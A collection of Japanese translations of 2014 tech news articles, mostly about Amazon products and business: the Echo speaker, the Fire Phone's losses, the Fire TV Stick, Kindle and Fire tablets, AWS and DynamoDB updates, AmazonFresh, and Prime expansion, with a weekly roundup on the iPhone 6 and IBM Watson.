Amazon Echoは、Siri風アシスタントが常時待機している199ドルのスピーカー


Amazonは、現在どのIT企業も同等品を出していない新製品を発表した ― つながっているスピーカー、Echoは、常時オン状態で待機して、バーチャルアシスタントが利用者の命令を聞いて情報を知らせたり作業を開始したりする。

この円筒形デバイスは部屋中に広がる音を出し、上部にある7つのマイクロフォンは、ビーム形成技術を使ってユーザーの声を特定し、部屋のどこから話しかけられても聞き取ることができる。要求を理解しやすくするために、演奏中の音楽などのバックグラウンド音をフィルターすることもでき、音声はAmazonのクラウドベース・ウェブサービス経由で処理されるため、要求の認識は対応は時間と共に改善されていく。

360度全方向スピーカーを内蔵し、ユーザーの端末からBluetooth経由で接続するほかに、Amazon Music Library、Prime Music、TuneIn、およびiHeartRadioの音楽再生機能が標準でサポートされている。さらに、地方ラジオ局やNPR、TuneIn経由のESPNその他の情報源によるニュースや気象情報を聞くこともできる。ユーザーの質問には、Wikipediaから得た基本情報、単語の意味、さらには単位の変換もリアルタイムで答えてくれる。


Amazonは専用のEchoアプリも公開し、Fire OS、Androidで動作する他、iOSのSafari、およびデスクトップ経由で制御するためのウェブベースアプリも提供される。ユーザーはこれを使って、サービスの設定、アラームの確認、リマインダーや買い物リストのチェック、その他ユーザーがスピーカー自身を経由して入力した情の確認等ができる。


Amazon Echoaの価格は199ドルで、Primeメンバーは期間限定で99ドルだが、注文するためにも同社からの招待が必要だ。これは全く思いがけなく現れた製品だが、Amazonの極秘プロジェクト、Lab126が様々なガジェットを手がけているという情報は今年になって聞いていた。家中で使える常時オンのSiriが、いつでも質問に答え情報を提供するというアイデアは、将来のApple TVに組み込まれるという噂もあり、少なからぬスタートアップの頭の中にある概念でもある。

Amazonにとっては明らかな利益がある。ユーザーの声を聞き、音声による問い合わせを処理することは同社のコンセプトそのものだからだ。それは、ユーザーにこのアイデア全体を不安に感じさせるものでもある。AmazonのFire Phoneが、ユーザー指向の利便性を提供することより、客をAmazonのウェブストアに誘導するためにあると、多くの人々が感じたのと同じだ。Amazonによると、Echoが聞くのはアクティベーションワードを言った時だけだそうで、標準では “Alexa” になっているようだ。

すべてが少々不可解ではあるが、主要IT企業の新製品としてかなりユニークであることには興味をそそられる。さらに、もしこれがPhilipsのつながる電球 Hueや、Nestの学習サーモスタット等のスマートホーム機器分野ともつながるようになれば、家全体のスマートハブへとシフトする可能性も見えてくる。現時点で見る限り、消費者への売り込み方は奇異に感じるが、操作するためにユーザーが頭を動かさなくてはならない3D表示付スマートフォンよりは、おそらく分別ある商品なのだろう。

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(翻訳:Nob Takahashi / facebook


Amazonのプライム会員サービスが出店者にも適用へ、個別契約なので一挙には無理だが

Amazonは、有料会員制Prime(プライム)の利用価値を上げることに、このところ非常に熱心に取り組んでいる。今回は、これまでAmazon本体だけからだった各種サービスが、Amazonを利用している商業者、いわゆる出店(出品)サービスからも受けられるようになり、プライムの利用価値がいよいよ本格的になってきた。これからはプライム会員は、例えばイギリスでは、送料無料、当日・翌日配達などのサービスを、AllSaintsのオンラインストアからも受けられるようになる(Re/codeの記事より)。またAmazon.comで検索したとき、結果にAllSaintsの商品も含まれるようになる。ただしそれらをクリックすると、Amazon上でなくAllSaints本来のWebサイトに連れて行かれる。

不思議なことに、Amazonがそうやって顧客をAllSaints.comへリダイレクトするにあたっては、アフィリエイト料金を取るだけだ。9月からのパートナーシップにより顧客は、Amazonへのログインと決済情報を使って買い物を完結するのだが、そのぶんの料金はない。でもなにしろ、プライムはAmazonにとって上客だ。Amazonの、オンライン小売企業としての売上と利益を引っ張っているのは、今やプライム会員であり、最近の調査によると、Amazon本体からのプライム会員のお買い上げ額は、非会員の倍近い。

このほか今日(米国時間11/4)Amazonは、プライム会員だけが利用できる容量無制限の写真保存ストレージのクラウドサービスを開始した。タブレットやスマートフォンのおかげで、今や世の中の全員がフォトグラファだから、このサービスは誰にとっても便利だ。プライムの料金は今年値上げされたが(合衆国)、合わせて音楽のストリーミングが加わり、ビデオのカタログも増加、オリジナルコンテンツの制作もできるようになり、そして今回の、プライムサービスの出店者への拡大が加わる。

この、プライムサービスの出店者への適用は、Amazonと店側との個別の契約になるから、どれぐらい早く、どこまで広がるかは未定だ。Re/codeの記事によると、Abercrombie & FitchやNeiman MarcusはAmazonへの出店にうんと言わなかった。Amazonが自分の店の顧客のデータにアクセスすることと、安物も含めてなんでもかんでも売ってるAmazonで自己のブランドイメージが希釈されることを、これら高級店はおそれたらしい。

しかし、はっきりしているのは、Amazonは顧客に、会費を払うプライム会員になってほしい、と願っている。でも、その気をそそるだけのメリットは、まだ十分に揃っていない。プライムがAmazon本体だけでなく出店者もほぼすべてカバーできたら、航空会社のマイレージみたいに用途の広い特典になる。しかも、Webのほぼ全域にわたって。

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(翻訳:iwatani(a.k.a. hiwa))


Amazonは不評のFireスマートフォンを殺さずに長期な視野で育てる気だ

Amazonは同社のスマートフォンFireに関して、長期的な見方をしているようだ。短期的には、立ち上がり時の売れ行きがぱっとせず、大幅に値下げをしても8300万ドルぶんの過剰在庫があり、その製造コストは1億7000万ドルにもなる。Amazonのデバイス担当SVPのDavid LimpがFortune誌で、大きな問題は最初の価格設定を間違えたことだ、と語っている。キャリア契約付きで199ドルだった価格が、今ではわずか99セントだ。

Limpによると、値下げ前に比べるとすごく売れているそうだが、例によってAmazonは数字を挙げない。最初のころ買った顧客から大量の苦情が殺到したので、ソフトウェアは大幅に改訂したそうだ。今のバージョンに対してもソフトウェアの改良は続けなければならない、という。そして長期的には、Kindleのような安定に達することを同社は期待している。

Kindleも最初は欠陥が多くて、不評だった。今のKindleに比べるとあらばかりが目立ち、誰もその長寿を予想しなかった。Fireスマートフォンに関してもやはり、アナリストやメディアはその早逝を声高に言いふらしている。しかしAmazonは少なくともあと数世代、ソフトとハードの改良を続けて、顧客が見直すようなものに到達したい、という根性のようだ。最初のバージョンは、あまりにもAmazonでのショッピングを強調しすぎていた。そして将来のバージョンでは、もっと良い均衡を目指すのだろう。

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(翻訳:iwatani(a.k.a. hiwa))


Amazonの新製品、Fire TV Stickは39ドルのChromecast対抗。リモコンも付いてくる


Amazonのつながるテレビ計画はFire TVでは終らない。今日(米国時間10/27)同社は、Fire TV Stickを発表した。39ドルのドングルでChromecastに似ている。あなたが既にAmazon Primeの会員であるか新規登録すれば、今日から2日間にはわずか19ドルで買える。Fire TVの発売前に本誌は、Amazonがドングル型デバイスを開発中だという信頼できる情報を得ていたので、Amazonの開発チームはつながるテレビ戦略へのアプローチを2種類以上持っていたようだ。

Fire TV Stickの報道資料は、Chromecastの名前を挙げて、Amazon製ハードウェアはGoogleのストリーミング用スティックの2倍のメモリーとデュアルコアCPU、MIMO Wi-Fi、および製用リモコンを持っていることを指摘している。Fire TV StickはRAM 1GB、ストレージ 8GBを塔載し、AmazonのASAPストリーミング技術によって、通常ストリーミングサービスで起こりがちなバッファー遅延を起こすことなく、ビデオストリーミングが可能だ。

Fire TV Stickでは、Netflix、Prime Instant Video、Hulu Plus、Twitch、WatchESPNを始めとする多数のサービスを箱から出してすぐ利用できる。Fire TV Remoteアプリが、Fire phone、Android、および近々iPhoneで提供され、Fire TVに導入されたのと同じ音声検索をFire TV Stickでも使える。Amazonは、無料Primeメンバーシップ1ヵ月分も付けている。アプリを使わずに音声検索を利用したいユーザーは、別売りのFire TV Voice Remoteを29.99ドルで購入できる。

このFire TV Stickは、iOSおよびAndroidのタブレットやスマートフォンからYouTube、Spotify等のアプリを再生したり、Fire OSまたはAndroid端末の画面を完全にミラーリングすることができる ― Chromecastと同じだ。セカンドスクリーンとX線機能は、テレビでメインコンテンツが放映されている間に、補助的コンテンツをモバイル端末に送り込む。

Amazonは、機能、価値の両面でChromecastに本格的戦いを挑む初めての会社になるかもしれない。しかし、実世界でどこまでできるかはこれからの勝負だ。

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(翻訳:Nob Takahashi / facebook


Q3の決算報告で損失が大きかったAmazon、株価が10%急落

Amazonの2014Q3の決算報告は、売上が期待値を下回り、損失は期待値より大きかった。アナリストたちは売上を208.4億ドル、損失を一株あたり0.74ドルと見ていたが、決算では売上205.8億ドル、損失は0.95ドルだった。

損失の総額は4億3700万ドルとなる。

投資家たちは売り急ぎ、株価は急落した。

上の図はかなり雑だが、Amazonが決算報告の直後に下げるのはこれが初めてではない。今年の1月には、やはり期待より悪い売上と利益を報告したあと、8%の急落があった

でも205.8億ドルの売上は前年同期比で20%の増である。全体としてAmazonの肉体ならぬ経営体は健康であり、資金状態も良く、イノベーションも活発だ。しかしながら投資家たちは売上成長率をもっと大きく期待していたし、損失は少なく見ていた。今回はどちらも期待に届かなかったから、ダブルパンチだ。

同社が最近ローンチしたFire Phoneは、不成功に終わった。Amazonの優等生、尊敬されているクラウド事業は、このところMicrosoftやGoogleとの価格戦争の罠にはまっている。相手の二社はどちらも、黒字でしかもお金持ちの企業だ。クラウドの料金はこれからもしばらくは、Amazonの利益を抑え続けるだろう。

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(翻訳:iwatani(a.k.a. hiwa))


Amazonの第3四半期決算でFireスマートフォンは大失敗と判明

Amazonは発売後わずか2ヶ月で独自スマートフォンのFire Phoneを99セントに値下げした。そこでたちまち「これが本当のファイアーセール〔投げ売り〕だ」というジョークのネタにされた。そういう背景を考えるといまさら驚くほどのことでもないわけだが、Fire Phoneは大失敗だった。

今日(米国時間10/23)、Amazonは四半期決算を発表し、電話会見を行った。その中でAmazonは1億7000万ドルを「主としてFire Phoneに関連する」損失として計上した。要するにOEM先に実需を大幅に上回る過剰な発注をしてしまったということだ。

損失計上後の現在のAmazonの在庫はどのくらいあるか当ててみていただきたい。500万ドル? 2000万ドル?

いやいや。第3四半期末のFire Phoneの在庫は8300万ドルだという。

八千、三百、万、ドル

Amazonの商品を売るだけが目的で、傾けるとディスプレイが擬似3D効果を示すというバカバカしいギミックだけが売り物のスマートフォンとしては納得の結末といえるだろう。

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(翻訳:滑川海彦@Facebook Google+


Amazon AWSがエンタプライズ向けディレクトリサービスAWS Directory Serviceを開始

このところエンタプライズ指向になりつつあるAmazonは、企業のIT用に使いやすさを際立たせたタブレットFire HDとHDXを出し、その前にはセキュアなストレージサービスZocaloをローンチ、さらにその前にはクラウドから提供される仮想デスクトップWorkSpacesをスタートさせた。しかしAmazonとエンタプライズといえば、その最大の基盤が、クラウドコンピューティングの巨獣Amazon Web Servicesだ。今日(米国時間10/22)同社は、オンプレミスとクラウドを組み合わせたリソースの管理を容易にできるためのサービスAWS Directory Serviceを立ち上げた。このサービスは、AWSのクラウドにシンプルでスタンドアロンなディレクトリが欲しいと思っていたユーザのニーズにも対応する。

この新サービスは、企業のニーズに応じて二つのタイプのディレクトリを提供する。

AWSの顧客の中でもっとも多い、すでに既存のディレクトリを使っている企業には、それらのディレクトリに接続するディレクトリタイプ“AD Connector”が提供される。コネクタが使えるということは、MicrosoftのActive Directoryなどを使っている企業にとって大いに助かる。企業はこれまでと同じやり方で、ドメインのジョインや、ユーザの認証、プリンタなどドメイン上の機器を見つけて接続すること、ほかのネットワークサービスたとえばSQL Serverデータベースにアクセスすること、などができる。

企業が新たにクラウドベースのサービスを導入したときは、オンプレミスのものとは別途に、クラウドベースのディレクトリをセットアップせざるをえないこともある。そんなときに、”AD Connector”が助っ人になる。このコネクタ、ないしゲートウェイ技術はいわば、既存のディレクトリへクラウドからアクセスするためのプロキシだ。しかも今朝のAWSのブログ記事によると、複雑なシンク処理や連結サインオンはいっさい要らない。むしろすべてのコミュニケーションはAWS Direct Connectや、Amazon Virtual Private Cloud内のセキュアなVPN接続を介して行われる。

そこでエンドユーザはAmazonのWorkSpacesZocalo、Windowsが動いているEC2のインスタンスなどにログインでき、しかもそのとき使うユーザ名やパスワードはActive Directoryのアカウントのものでよい。

AWS Directory Serviceのもうひとつのタイプは”Simple AD”と呼ばれる、クラウド上のSambaベースのディレクトリだ。これは、Windowsのドメインへのジョイン、Group Policiesの管理、ディレクトリを利用する複数のアプリケーションへのシングルサインオンなど、AD(AWS Directory)の共通的な機能をサポートしている。このオプションではシスアドやデベロッパがディレクトリのクレデンシャル(アイデンティティ〜認証情報)でAWS Management Consoleにサインインして、リソースを管理でき、Windowsが動いているEC2のインスタンス群を一括してアドミンできる。この場合ZocaloやWorkSpacesも、ディレクトリを利用できる。

Amazonは、どちらのディレクトリタイプもセットアップは簡単だ、と言っている。ただし料金はディレクトリのサイズで決まり、しかも時間制の料金だ…小さなディレクトリはどちらのタイプも1時間0.05ドル、大きなディレクトリは1時間0.15ドルである(合衆国東部リージョン(U.S. East))。なお、料金はリージョンごとに異なる(US West(Oregon)Asia Pacific(Sydney)Asia Pacific(Tokyo)Europe(Ireland))。この料金制は、クラウドを月額や年額ベースで使っているユーザにとって不便だし、予算獲得のための計算も面倒だろう。

どちらのディレクトリタイプも、今日から上記のリージョンで可利用になる。

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(翻訳:iwatani(a.k.a. hiwa))


Amazonがニューヨークでグロサリー配達を開始…eコマースは”やり方のクォリティ”で勝負する時代へ

Amazonが今朝(米国時間10/17)、同社のグロサリー配達サービスAmazonFreshをニューヨーク都心部のBrooklynで開始すると発表し、ニューヨークに進出するという前からの噂を実証した。最初の対象はPark SlopeのPrime会員のみだが、いずれBrooklyn全域に拡大していくという。Manhattanなどニューヨークの他地区については、まだ発表がない。

顧客は50万あまりの品目から選び、地元のお店の生鮮や食材、玩具、電子製品、家庭用品などを即日または翌朝、配達してもらえる。ニューヨーク方面では、Lobster Place、Dickenson’s Farmstand Meats、Gotham Greens、Amy’s Breadなどのお店がこのサービスのソースとして参加する。

Amazonによると、午前10時までに注文した品物は、当日の夕食に間に合うよう配達される。午後10時までに注文すると、翌日の朝食に間に合う。

AmazonFreshをPrime会員は年内、無料(送料無料)で利用できる。2015年からは、Freshを利用したい人の年会費が299ドルになる。

AmazonはFreshサービスのロジスティクスと料金について何年も実験を重ね、現在もテストマーケティングだと言っている。展開地区はシアトルとカリフォルニア南部の一部、東部は今回のBrooklynが初めてだ。

即日配達はいろんな企業が挑戦し、中には失敗したところもある。たとえばEbayのEbay Nowは、失敗したと今年のはじめに報じられた。今週確認したところによると、Ebayのそれは、公式にやめたわけではないが事実上店をたたんだらしい。検索の最大の競争相手はAmazonだ、と明言したGoogleは、Google Expressサービスを今週新たに数都市で展開した。そして新人のInstacartは、全国チェーンのWhole FoodsやCostco、そして地域の小売企業を即日配達サービスのソースにするつもりだ。

一方小売企業のトップWalmartは、カーブサイトピックアップ(車を下りずに商品受け取り)や、店舗まで配達、翌日配達など、多様なやり方をeコマースの展開方法としてテストしている。今週同社は、東部に二箇所、新たなフルフィルメントセンターを開設し、低料金の翌日配達の大規模展開に備えている。

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(翻訳:iwatani(a.k.a. hiwa))


Amazon、DynamoDBでJSONをサポート―無料枠を25GB、2億リクエストに一挙拡大


今日(米国時間10/9)、AmazonはDynamoDB NoSQLデータベースサービスにメジャー・アップデートを実施したことを発表した。これによって無料で利用枠が大幅に拡大され、JSONフォーマットの文書をデータベースの単一アイテムとして格納することが可能になった。

他のAmazonのクラウド・サービスと同様、これまでもDynamoDBはトライアル用の無料版を提供してきた。DynamoDBの無料版の制限はかなり厳しく、記憶容量は100MB、読み出し10ユニット、書き込み5ユニットとなっていた。試用には使えるが、意味のあるアプリケーションを動かすことは不可能だった(無料枠はもちろん試用に設けられているのだが)。しかし今日からその制限は大幅に緩和される。なんとデータ容量は25GB、月間2億リクエストまでが無料で利用できるようになった。

AmazonのCTO、 Werner Vogelsによれば、これだけの能力があれば、月間アクティブ・ユーザーが1万5000人あるゲーム・サイトや月間50万インプレッションの広告プラットフォームを運営することが可能だという。

これに対してGoogleのNoSQLデータベース・サービスCloud Datastoreの無料データ容量は1GBだ。またMicrosoftのJSONベースのDocumentDBサービス(現在プレビュー版)はオープンソース・デベロッパーのみに無料版を提供している。

Vogelsはまた今回のアップデートについて次のように説明している。最近、多くのNoSQL、リレーショナル・データベースが(MicrosoftのDocumentDBのように)JSONスタイルのドキュメントを扱えるようになった。これまでもDynamoDBにJSON文書を格納することは可能だったものの、デベロッパーは格納された文書の内容を直接操作することができなかった。その点が今日から変わる。

今回のアップデートで、デベロッパーはAWS SDKのJava、.NET、Ruby、JavaScriptを用いてJSONデータをDynamoDBの固有データ・タイプにマップすることができるようになり、DynamoDBはフル機能を備えた本格的ドキュメントDBに生まれ変わった。これによってデベロッパーの負担は大幅に軽減されることになる。JSONオブジェクトのサイズは大きくなりがちなので、 AWSは1レコードのサイズの上限を400KBに引き上げた。

今回のアップデートはJSONオブジェクトのサポートが目立つが、Vogelsは「DynamoDBは新しいトランスレーション・レイヤーを介してデータ・タイプとしてHTMLとXML文書をサポートするようになった」と強調した。技術的詳細についてはこちらを参照

新機能はAmazonのUS East (北バージニア)、US West(オレゴン)、Asia Pacific(東京)、EU(アイルランド)の各リージョンで直ちに利用可能。
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(翻訳:滑川海彦@Facebook Google+


AmazonのクラウドライティングサービスWriteOnは読者と作者のコミュニティ、Wattpadなどにも対抗

Amazonが、クラウドエディティング/ライティングサービス(crowd-editing and -writing service)WriteOnを非公開ベータで立ち上げた。Kindle Author Forums上の発表によると、このサイトは、“読者と筆者が対話をしながら良いストーリーを作っていったり、すぐれたストーリーをさらに良くしていく”ための場だ。

読者は、招待コードX9RJTE9Hでここからベータに参加できる。

このサービスでは、まず著者がストーリーやその部分的な章を自分の著者ページにアップロードする(ぼくのページはここ)。すると、好評のストーリーが徐々にランクの上の方へ上がっていく。

今日の発表声明から引用しよう:

自分の作品を磨きたい人や、フィードバックのスキルを研ぎ澄ましたい人、あるいは熱心な読者や筆者のグループを見つけて参加したい人のためのコミュニティを構築します。しかも、まだベータ状態の新しいKindleプロジェクトの、今後の内容や方向性について、あなたが介入し手助けすることもできます。それはちょっとした実験であり、一種の出たとこ勝負であり、そして参加者全員に楽しい時間を過ごしていただきたいと願う試みです。参加は、完全に自由です。作品を投稿するにあたり、契約義務のようなものはまったくありません。ですから、いつでも取り下げることができます。ただ、みんなの力で良い作品を作りたいという願いや、ほかの人の作品を良くしていくために自分も参加したいという熱意だけが、このプロジェクトを支えます。https://writeon.amazon.com/を訪ねて、X9RJTE9Hを入力し、この助け合いの場に参加してください。

このサービスは夏から始まっていたが、広く知られるようになったのはThe Digital Readerのおかげだ。まだ機能が少なくて、ブログに毛が生えた程度のもののようだが、すでに多くのインディー作品がアップロードされている。

この種のサービスはほかにもあるが、けっこうトラフィックを稼げるサイトだろう。Wattpadなんかは、ユーザ数が数百万、すでに数百万ワードの作品がアップロードされた、と言っており、成功例もある。Amazonは同社のKindle Worldsサービスでインディーのライターたちに取り入ろうとしていた。それは、ファン・フィクションをアップロードして公開するという、奇妙なシステムだった。しかしWriteOnは、オリジナルのフィクションや短編など、もっとふつうの著作をねらっているようだ。

Amazonはすでに、インディーにとって重要な場の一つだ。でもこれまでは、彼らのコミュニティがなかった。WriteOnを手始めとする今後の取り組みによって、その穴をうめていくのだろう。どこまで良質なコミュニケーションが行われるか、それが今後の見ものだ。

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(翻訳:iwatani(a.k.a. hiwa))


Amazon.com、ツイート経由で「ほしい物リスト」への商品追加が可能に

今年5月、Amazon.comはTwitterとの連携機能をアナウンスしている。#AmazonCartのハッシュタグを付けてツイートすると、アイテムがAmazon.comのショッピングカートに追加されるというものだった。この度はそれを拡張して、#AmazonWishListというハッシュタグを使ってもAmazon.comとTwitterの連携ができるようになった。名前の通り、ツイートしたプロダクトをAmazon.comの「ほしいものリスト」に追加するものだ。

この機能を使うには、まずamazon.com/socialにてAmazon.comアカウントとTwitterアカウントを連携させておく必要がある。この作業を行なっておけば、商品の購入および「ほしい物リスト」への追加が、ツイートを通じて行えるようになる。

ツイート経由で購入できたり「ほしい物リスト」に追加できるようになったところで、何も便利には思わないという人も多いことだろう。確かにそうかもしれない。しかしTwitter自身が「ツイート内購入」(in-tweet commerce)の実現を行ったこともあり、外部サービスとの連携による小売機能の強化というのは注目に値する。

Twitterは6月に、CardSpringというスタートアップを買収してもいる。これはTiwtterカードを通じた商品オファーやプロモーションの強化に役立てようとするものだ。そして今月にはいくつかの小売サービスと連携して、ツイート内でのBuyボタンの実装をテストしてもいる。

Twitter社のこうした動きにAmazonがどれほど意識を向けているのかはよくわからない。ただ、ライバルとして重視するというような段階でないことは明らかだろう。少なくとも今のところは、Twitterを利用することで商品の購入をしようとする人はごく少数派だといえる。Twitterはニュースやオピニオンを共有するためのツールであるというのが、多くの人の感じているところだ。

そのような状況ではあるが、今回の「ほしい物リスト」とTwitterを連動させようとする試みには面白いところがあるように思う。プロダクトへの興味やおすすめ情報や感想などをTwitterで流すというのは、これまでどおりの、ごく一般的なTwitterの使い方だと思えるからだ。フォローしている人のお気に入り情報などをリツイートする人は多く、また自分自身の備忘録として#AmazonWishListを使う人も増えてくるものと思われる。

ちなみに、Amazon.comの「ほしい物リスト」はホリデーシーズンの定番ツールとも言える存在になっている。昨年のホリデーシーズンには、毎秒7冊の本と5つのおもちゃがリストに追加されたそうだ。

尚、Twitterとの連携強化の他、Amazon.comは「Save a Photo」というサービスもリリースしている。これにより、気になったものをなんでも撮影して「ほしい物リスト」で共有できるようになった。ちなみに「ほしい物リスト」関連ではUniversal Wish Listというアドオン、バーチャルノート、自分の「ほしい物リスト」から購入されたものを表示しないようにする「Don’t Spoil My Surprises」という関連プロダクトを世に出している。

今回の提携機能についてはこちらのページで詳細をご確認いただきたい。

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(翻訳:Maeda, H


今週のまとめ―iPhone 6はカメラがすごい、Amazonは新Kindle発表、IBMのWatson、いよいよ商用化

新iPhoneはカメラがすごい

先週発表されたiPhone 6/6 Plusは24時間で400万台予約受付と大人気だ。インターネットは新しいiPhoneのファーストインプレッションで花盛りだが、TechCrunch記事で反響があったのはEtherington記者のiPhone 6のカメラはやはりすごい―とうとうコンデジを捨てる決心がついたという記事だった。カメラ・フリークを自認し、自ら記事のフォトグラファーも勤めるEtherington記者は私生活でもコンデジを離さない。しかしiPhone 6をじっくり使った結論は、「これは普段使いのメインカメラになる」だった。

しかしiPhone 6/6 Plusを実際に使ってみて、低光量での写真が十分以上に使いものになることがわかった。もちろんデスクトップ・パソコンの大画面で表示すればノイズが目立つし、周辺の解像度も甘い。しかしiPhone自体のディスプレイで見た場合はすばらしくきれいだし、Facebook、 Twitter、Instagramに投稿した場合も十分な画質だ。

特に低光量で十分が画質が得られる点が決めてになったようだ。たしかにこの作例を見ても納得できる。



暗いシーンではさすがに粒子がやや荒れるが、光が十分回っていれば、犬の毛並みもはっきり写るし、花の背景もきれいにボケている。

新しいiPhoneの解像度と画質は、普通の人間の98%のユースケースで十分以上のものがある―いや、私のようなカメラ・フリークにとってさえ十分だ。コンパクト・デジタルカメラにまだ居場所があるという幻想は最終的に消えていこうとしている。

というのがEtherington記者の宣告だ。


コンパクト・デジタルカメラ、いわゆるコンデジはここ数年、スマートフォンのカメラの進化に正確に反比例して売上を落としてきた。CIPA(カメラ映像機器工業会)によると、2014年のデジタルカメラの販売台数は5000万台という予測で、2010年の1億2000万台から60%の急減だ。

この減少の大部分はコンデジによるものだ。キヤノン、ニコン、ソニーのトップ3社の場合は半減程度だが、下位メーカー中には90%減という壊滅的な例もある。iPhone 6/6 Plusのカメラがこれだけ進歩すればAndroid機も当然対抗してカメラに力を入れてくる。Panasonicは高機能コンデジにスマートフォン機能をもたせたカメラフォンMC-CM1を発表した。その意欲は買えるが、ニッチ製品という印象は免れない。来年はコンデジ市場の消滅がますます加速することは間違いない。日本の下位カメラメーカーから脱落者が出ることになるかもしれない。

iOS 8―キーボードが大人気、日本ではiOS版ATOKが登場

iOS 8のアップデート内容のまとめはiOS 8レビュー:洗練されてユーザー体験は大きく進化―制限緩和はデベロッパーのチャンスを参照。メッセージ、写真、QuickType、サードパーティー・キーボード、ヘルスケア、ファミリー共有、iCloud Drive、連携、通知と拡張、音声認識などカテゴリーごとに要点がまとめてある。アメリカではiOS 8がリリースされてからのApple App Storeの上位はキーボードアプリが占拠しているという

Swypeはキーボードに指を滑らせることで入力され、予測変換によって高い確率で正しい候補が表示される。Swiftkeyも予測変換の精度が売りだ。いずれもAndroidで人気の高いアプリだった。もちろんこれらはいずれも英語入力用だ。日本ではジャストシステムがATOKのiOS 8版を開発中だと告知しているが、詳しいことは明らかになっていないアップデート:ATOK for iOSはこちらから購入できる。料金は1500円。

Amazon、プレミアムeブックリーダー、Kindle Voyageを発表

Appleが新iPhoneを発表した直後にAmazonも新しいデバイスをリリースした。出荷は10月中の予定で、クリスマス商戦に十分間に合う。新製品はe-inkタブレットの新しいKindleとKindle Voyage、タブレットのFire HD 6、HD 7、8.9インチディスプレイとKitKatベースのFire OS 4.0を搭載したFire HDX 8.9、それに子供向けにペアレンタル・コントロールや丈夫なケースを備えたFire for Kidsだ。日本のAmazonサイトではFire for Kids以外の5モデルについて予約受け付け中

クイズ王を破ったIBMの人工知能、Watsonで誰でもビッグデータ解析ができる

アメリカの人気クイズ番組『ジェパディー』で人間のチャンピオン2人を打ち破った人工知能としてあまりにも有名なWatson人工知能の商用利用がいよいよ始まった。 IBM、Watson Analyticsを発表―Watson人工知能が万人にビッグデータ解析能力を与えるという記事によると、Watson Analyticsという新しいプロダクトは一般のビジネス・ユーザーに高度なビッグデータ解析能力を与えるという。

ユーザーは既存のビッグデータ、たとえばSalesforce.comのCRMデータなどをそのままインポートして利用できる。このサービスにはポピュラーなビジネス・ツールによって生成されるデータをインポートするためのコネクター・ツールが用意されており、データをセットすれば、ユーザーは思いつくままに自然言語で次々に質問をすることができる。またサービスにバンドルされているストーリー・テンプレートを利用して標準的な統計分析を行うこともできるという。IBMではこれまでデータサイエンティストとビッグデータ処理に通じたエンジニアのチームがなければ不可能だった高度、大規模な処理が誰でもできるようになるとしている。しかもベーシック版は料金無料というフリーミアム・モデルだ。

「このミステリー作家とその夫はシリアの古代都市ウルケシュの発掘を試みました」という質問に即座に「アガサ・クリスティー」と答える(ビデオの0:41あたり)ことができるWatsonがさまざまな知的専門分野に進出してくることを考えると、いささか不気味なものがある。

滑川海彦@Facebook Google+


Amazon、FireタブレットおよびKindleの新モデルを正式アナウンス

Amazonが新たに6つのデバイスをリリースした。出荷は10月中の予定で、ホリデーシーズンにも間に合う。新たに発表されたのは別の記事でも紹介したe-inkタブレットのVoyageとfire HD、そして8.9インチでKitKatベースのFire OS 4.0を搭載して読書のみならずゲームや仕事をも意識したfire HD8.9だ。

尚、fire HDには、25ドルのラバーケースを装着して特別にパッケージングした子供向けのモデル(訳注:日本では未発表の様子)もあり、ペアレンタルコントロールのためのソフトウェアやアプリケーションが同梱されている。

細かくみていこう。まず新しいKindle Fire HDには6インチモデルおよび7インチモデルがあり、以前のFireより薄くなっている。デザイン的には以前のものと変わらないのだが、薄くなりつつパワーは増しているのだ。クアッドコアプロセッサーを搭載し、フロントおよびリアの両面にカメラを備え、ブラック、ホワイト、ブルー、レッド、およびイエローのカラーバリエーションがある。値段の方は6インチモデルが99ドル(訳注:日本では発売記念価格9,980円)で、7インチモデルが139ドル(訳注:日本では16,280円から)となっている。

新しいHDXモデルの価格は379ドル(訳注:日本では40,980円から)となっている。2.5GHzのプロセッサーを搭載し、ディスプレイ解像度は339ppiとなっている。これがフラッグシップ機となるもので、別売りで59ドルでワイヤレスのFire Keyboardというものを使うこともできる。これをつなげば、キーボードからドキュメントの編集を行ったり、画面を操作することができるようになる。

Fire for Kids(子供向け版)はラバーケースを装着していていて、1年間のFreeTimeサブスクリプションも含まれている。これは映画、ゲーム、アプリケーション、書籍などが見放題、使い放題となるサービスだ。6インチモデルが149ドルで7インチモデルが189ドルとなっている。ちなみにこちらの方の保証期間が2年間となっているのも嬉しいところだろう。期間内に何らかの理由で不具合が生じた場合、デバイスを送り返せば新しいモデルと交換してもらえる。子供というのは落としたり叩いたり、あるいは踏みつけてしまったりするものだ。そういう場合にも対応してもらえるようだ。

e-inkファンはやはりVoyageに注目するのだろう。驚くほど薄く、そして軽い。価格は199ドルと高くなっているが、解像度などの面で改良が加えられている。まるで1枚の金属板の上に文字が表示されているような印象を受ける。デバイスの左右にはページ送りのためのセンサーが配置されている。もちろん画面はタッチ対応で、1度の充電で6週間使うことができる。従来のKindleは79ドル(訳注:日本では6,980円から)の新デバイスに収斂させることになるのかもしれない。

デバイスはすべてAmazonが買収したGoodReadsのサービスを使えるようにもなっている。友人と読書の進捗を共有したりすることができる。またWord Wiseという機能も搭載され、これにより難しい言葉などの語釈を画面に表示させることもできる。これは学生や、あるいは英語学習者にとって嬉しい機能だろう。

すべてのデバイスは既にプレオーダーできるようになっている。出荷時期は10月の予定となっており、クリスマスプレゼントにも使えるようになっている。

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(翻訳:Maeda, H


Amazon新Kindleの名前は「Voyage」、ベゼル部分にはページ送りのためのセンサーを搭載

Amazonは、専用の電子書籍リーダーであるKindleの次世代版を世に送り込む準備を整えたようだ。ドイツおよび日本のAmazonサイトにて、新製品のデータが漏れでてしまったようなのだ(via The Verge)。どうやら名前はKindle Voyageになるようで、高解像度ディスプレイを備える。またベゼル部分にページ送りのためのセンサーを配置する。漏洩した情報によればリリース日は(少なくともドイツでは)11月4日となっている。もしかするとアメリカではもう少し早めのリリースになるのかもしれない。

Voyageには、従来通り3G対応版とWi-Fi版があって、両者で価格が異なる(繰り返しになるが、リーク情報に基づく話だ)。現行のPaperwhiteと比較すると、両モデルともに価格は上がっている。ディスプレイサイズは6インチで変わらず、しかし解像度が300ppiとなっており、これまでよりもより精細なフォントで電子書籍を楽しめるようになる。

KoboのAura HDおよびAura H2Oの解像度は265ppiとなっている。Aura H2Oのレビュー記事にも書いたように、それくらいの解像度があれば、AppleのiPhoneなどがリードするRetina時代にふさわしい解像度となっている。見やすいe-inkでレティナ解像度を実現することで、さらに見やすく感じもする。

